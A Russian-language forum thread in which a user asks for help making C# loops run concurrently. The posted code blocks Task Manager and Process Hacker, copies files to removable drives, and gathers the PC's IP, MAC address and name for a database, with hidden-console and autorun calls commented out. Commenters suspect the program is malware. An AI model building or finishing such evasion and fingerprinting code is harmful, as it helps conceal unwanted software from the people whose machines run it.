Загрузка...

Multitasking application

Thread in C# created by Minin_inactive4471240 Mar 2, 2022. 293 views

  1. Minin_inactive4471240
    Minin_inactive4471240 Topic starter Mar 2, 2022 3 Sep 5, 2021
    Написал приложение, у которого есть несколько функций, которые всё время крутят цикл while. Это защита от запуска диспетчера задач и ЮсбСерчер, они стоят на while(true) циклах, тем самым, не давая выполняться другим методам, да и вообще, когда в какой-то из этих метов заходит программа, то она весит только на нём, а дальше не идёт. А мне надо сделать так, чтобы и другие методы выполнялись тоже.
    Code

    async static Task Main(string[] args)
    {
    //AutoRun(IsInAutoRun());
    //Crash();
    //USBSearcher();
    //ToDef();
    //Defense();
    await StartDefensive();
    Sql(IPAdress(), GetMacAdress(), NameOfPC(), DateTime.Now);
    //SecondSaveFile();
    //HideConsole();
    //AllPathesToSave();
    async static Task StartDefensive()
    {
    Console.WriteLine("Подготовка к запуску защиты");
    await Task.Run(() => Defense());
    Console.WriteLine("Защита запущена!");
    }


    public static void Defense()
    {

    bool attack = false;


    while (1 > 0)
    {
    Thread.Sleep(2000);
    Console.WriteLine("Защита работает");
    Process[] procList = Process.GetProcesses();
    string[] attackedProcess = { "processhacker", "taskmgr" };

    foreach (Process p in procList)
    {

    for (int i = 0; i < attackedProcess.Length; i++)
    {
    if (p.ProcessName.ToLower() == attackedProcess[i])
    {
    Console.WriteLine("Detected: " + p.ProcessName);
    attack = true;
    if (attack)
    {
    Console.WriteLine("Процесс прекращён");

    string[] exit = { "false" };
    Main(exit);
    }
    }
    else
    {

    continue;
    }
    }

    }
    Console.WriteLine("\n");

    if (attack)
    {
    break;
    }
    }
    }

    public static void USBSearcher()
    {
    Console.Write("Add Path: ");
    string PATH = Console.ReadLine();

    while (true)
    {
    Thread.Sleep(2000);
    foreach (var dInfo in DriveInfo.GetDrives())
    {
    if (dInfo.IsReady && dInfo.DriveType == DriveType.Removable)
    {
    Console.WriteLine(dInfo);
    string USBPath = dInfo.ToString();
    try
    {
    string outFile =USBPath + Path.GetFileName(PATH); ;
    File.Move(PATH, outFile);
    Console.WriteLine("Yes");
    }
    catch
    {
    Console.WriteLine("No");
    }

    }
    else
    {
    Console.WriteLine("No");
    continue;
    }
    }
    }
    }

    Помимо этих методов, должны работать и другие, но они должны работать вместе с защитой. т.е., когда защита срабатывает, работа приложения должна либо завершиться полностью, либо заморозиться на время. Как сделать так, чтобы другие методы работали под защитой?
    Пробовал async,await, ничего не выходит
     
  2. ФСТЭК
    ФСТЭК Mar 2, 2022 Banned 338 Dec 5, 2017
    Thread.Sleep - остановка программы
    Приложение полностью не работает промежуток времени который там указан
    The post was merged to previous Mar 2, 2022
    https://metanit.com/sharp/tutorial/11.1.php
    Почитай по ссылке, как многопоточность сделать
     
  3. Shadowraze
    Shadowraze Mar 2, 2022 682 Jul 15, 2018
  4. wDude
    wDude Mar 2, 2022 Боюсь быть не там и не тем. 3666 Aug 14, 2017
    @aChanCode , я же говорил :jerry::jerry::jerry:
    [IMG]

    Изучай потоки, Threads / ThreadPool
     
    1. aChanCode
      wDude, он хитрый жук,весь код не стал показывать,я уверен там можно было бы понять,для каких целей этот зловред
    2. Minin_inactive4471240 Topic starter
      wDude, Пробовал сделать так:

      Code

      public static Thread threadForUSBSercher = new Thread(USBSearcher);

      //а внутри метода
      threadForUSBSercher.IsBackGround = true;
      threadForUSBSercher.Start()

      Но оно упарывается, когда пытается запустить метод второй раз.
    3. Minin_inactive4471240 Topic starter
      @aChanCode, теперь, когда убрал threadForUSBSercher.Start() работает, но не даёт работать другому методу. Тут уже не знаю, что делать.
    4. View the next comments (1)
  5. r3xq1
    r3xq1 Mar 2, 2022 53 Jul 27, 2018

    Изменить имя процессов и твой код отпадает.
    Мы все знаем что ты пишешь))
    The post was merged to previous Mar 2, 2022
    По коду всё лишнее, когда можно проще сделать. Повесить WndProc на отлов флешек и запуск процессов и их отлавливать, в момент когда поймал, выполнить метод и никакие циклы с while (true) не нужны
     
  6. undrcrxwn
    undrcrxwn Mar 2, 2022 Banned 102 Apr 5, 2021
    1. mikuzeboka
      Напоминаю.
      bool popa = true;
      if(popa != false)
      {
      popa = false;
      }
      if(popa != true)
      {
      popa = true;
      }
Top
Loading...